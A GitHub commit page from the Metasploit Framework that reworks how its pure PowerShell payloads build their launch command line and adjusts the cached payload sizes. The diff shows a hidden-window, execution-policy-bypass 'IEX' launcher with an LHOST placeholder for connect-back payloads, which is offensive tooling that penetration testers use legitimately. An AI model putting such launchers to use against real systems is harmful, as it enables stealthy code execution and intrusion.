Permalink
Browse files

Land #9044, Address generation issues with pure PSH payloads

  • Loading branch information...
jmartin-r7 committed Oct 10, 2017
2 parents 850aeda + 37e0683 commit 57afc3b939875969742953147020c4626c633170
@@ -44,7 +44,18 @@ def generate_powershell_code(conntype)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
command_args = {
noprofile: true,
windowstyle: 'hidden',
noninteractive: true,
executionpolicy: 'bypass'
}
cli = Rex::Powershell::Command.generate_psh_command_line(command_args)
return "#{cli} \"#{script}\""
end
def generate
command_string
end
end
end
@@ -10,7 +10,7 @@
module MetasploitModule
CachedSize = 1518
CachedSize = 1501
include Msf::Payload::Single
include Rex::Powershell::Command
@@ -10,7 +10,7 @@
module MetasploitModule
CachedSize = 1526
CachedSize = 1509
include Msf::Payload::Single
include Rex::Powershell::Command
@@ -15,7 +15,7 @@
###
module MetasploitModule
CachedSize = 1703
CachedSize = 1501
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
@@ -15,7 +15,7 @@
###
module MetasploitModule
CachedSize = 1711
CachedSize = 1509
include Msf::Payload::Windows::Exec
include Msf::Payload::Windows::Powershell
@@ -15,7 +15,7 @@
###
module MetasploitModule
CachedSize = 1786
CachedSize = 1501
include Msf::Payload::Windows::Exec_x64
include Rex::Powershell::Command
@@ -15,7 +15,7 @@
###
module MetasploitModule
CachedSize = 1794
CachedSize = 1509
include Msf::Payload::Windows::Exec_x64
include Msf::Payload::Windows::Powershell

0 comments on commit 57afc3b

Please sign in to comment.